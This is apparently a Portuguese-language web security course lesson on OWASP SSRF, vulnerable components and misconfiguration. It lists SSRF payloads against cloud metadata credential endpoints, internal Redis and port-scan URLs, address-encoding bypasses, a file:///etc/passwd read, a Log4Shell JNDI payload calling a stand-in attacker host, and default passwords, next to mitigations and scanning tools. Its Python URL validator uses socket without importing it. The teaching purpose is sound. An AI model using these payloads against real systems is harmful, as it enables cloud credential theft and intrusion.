kb.erickguedes.com
OWASP: Segurança Web na Prática

SSRF, Componentes Vulneráveis e Misconfiguration

Aula 5 de 6

A10:2021 — Server-Side Request Forgery (SSRF)

Como Funciona

O atacante faz o servidor realizar requisições para destinos internos ou externos não autorizados:

# Requisição original: servidor busca imagem de URL fornecida
POST /fetch-image HTTP/1.1
Content-Type: application/json

{"url": "https://exemplo.com/imagem.jpg"}

# Ataque SSRF — acessando metadados cloud
{"url": "http://169.254.169.254/latest/meta-data/"}
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Cloud Metadata

IPs de metadados cloud:
  AWS:   http://169.254.169.254/latest/meta-data/
  GCP:   http://metadata.google.internal/computeMetadata/v1/
  Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
  DO:    http://169.254.169.254/metadata/v1.json

Internal Network Scanning

# SSRF para mapear rede interna
http://10.0.0.1:22
http://10.0.0.1:80
http://10.0.0.1:443
http://10.0.0.1:8080
http://10.0.0.1:3306
http://10.0.0.1:6379

# SSRF para redis (comandos)
http://10.0.0.1:6379/
gopher://10.0.0.1:6379/_SET%20key%20value

Bypass Methods

# DNS resolution bypass
http://localhost/            → 127.0.0.1
http://0.0.0.0/             → 127.0.0.1
http://127.1/               → 127.0.0.1
http://2130706433/          → 127.0.0.1 (decimal de 127.0.0.1)
http://0x7f000001/          → 127.0.0.1 (hex de 127.0.0.1)
http://[::1]/               → localhost IPv6

# Redirect bypass
# Servidor atacante redireciona para http://169.254.169.254/

# Protocol variation
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/

# DNS rebinding (atacante alterna resolução DNS)
# Fase 1: DNS → IP legítimo (passa validação)
# Fase 2: DNS → 169.254.169.254 (requisição real)

Prevenção

import re
from urllib.parse import urlparse

def validate_url(user_url):
    parsed = urlparse(user_url)
    hostname = parsed.hostname

    # Allowlist de hosts
    allowed = ["images.exemplo.com", "cdn.exemplo.com"]
    if hostname not in allowed:
        raise ValueError("URL não permitida")

    # Bloquear IPs privados
    import ipaddress
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(hostname))
        if ip.is_private:
            raise ValueError("IP privado não permitido")
    except:
        raise ValueError("Host inválido")

    # Bloquear protocolos não-HTTP
    if parsed.scheme not in ("http", "https"):
        raise ValueError("Protocolo não permitido")

    return user_url

A06:2021 — Vulnerable and Outdated Components

SBOM (Software Bill of Materials)

Lista de todas as dependências e versões de um software.

Formato: CycloneDX (OWASP) ou SPDX

Exemplo:
  {
    "name": "log4j-core",
    "version": "2.14.1",
    "licenses": ["Apache-2.0"],
    "vulnerabilities": ["CVE-2021-44228"]
  }

Dependency Scanning

# Snyk — scan de dependências
snyk test                    # Scan projeto atual
snyk monitor                 # Monitoramento contínuo
snyk test --all-projects     # Todos projetos no monorepo

# Dependabot (GitHub)
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"

# OWASP Dependency-Check
dependency-check --project "MeuApp" --scan . -o reports/
dependency-check --format HTML --project "App" --scan **/*.jar

# Trivy (containers + dependencies)
trivy image minha-imagem:latest
trivy fs --scanners vuln --severity CRITICAL,HIGH .

Log4Shell (CVE-2021-44228)

Vulnerabilidade crítica no Apache Log4j 2 (biblioteca de logging Java).

Payload: ${jndi:ldap://atacante.com/a}

Impacto: RCE (Remote Code Execution) via JNDI injection.
  - Log4j faz lookup JNDI na string logada
  - Atacante controla string (ex: User-Agent header)
  - Código malicioso baixado e executado

Versão fixa: Log4j >= 2.17.0

A05:2021 — Security Misconfiguration

Default Credentials

Credenciais padrão frequentemente esquecidas em produção:

admin:admin
admin:password
root:root
tomcat:tomcat
admin:123456

Verbose Errors

HTTP/1.1 500 Internal Server Error
Content-Type: text/html

<!-- Erro detalhado expõe informações -->
<div class="error">
  <h1>SQL Server Error</h1>
  <p>File: C:\App\Database\connection.php, Line 42</p>
  <p>Error: Cannot insert NULL into column 'password'</p>
  <p>Query: INSERT INTO users (username, password) VALUES ('admin', NULL)</p>
</div>

Directory Listing

http://alvo.com/uploads/
  → Lista todos arquivos (backups, credenciais, documentos)

Mitigação: desabilitar directory listing no servidor web:
  Apache: Options -Indexes
  Nginx: autoindex off;
  IIS: Directory Browsing → Disabled

Open Cloud Storage

# S3 buckets públicos
aws s3 ls s3://nome-do-bucket/ --no-sign-request

# Verificar bucket exposure
nuclei -t exposures/configs/ -target https://bucket.s3.amazonaws.com

Lab: Testando SSRF e Componentes

# 1. Testar SSRF em funcionalidades que buscam URLs
# Enviar URL interna:
# http://169.254.169.254/  → metadados cloud
# http://localhost:6379/    → redis

# 2. Verificar versões de dependências
npm audit                    # Node.js
pip list --outdated          # Python
mvn versions:display-dependency-updates  # Java

# 3. Testar directory listing
curl http://alvo.com/uploads/

# 4. Verificar headers de segurança
curl -I https://alvo.com
# Procurar: Server, X-Powered-By (informações de versão)

# 5. Scan com OWASP Dependency-Check
dependency-check --project "App" --scan . -o reports/

SSRF pode comprometer toda infraestrutura cloud em minutos. Componentes vulneráveis (Log4j) mostram que uma única dependência pode derrubar empresas inteiras. SBOM é essencial para gestão de riscos em supply chain.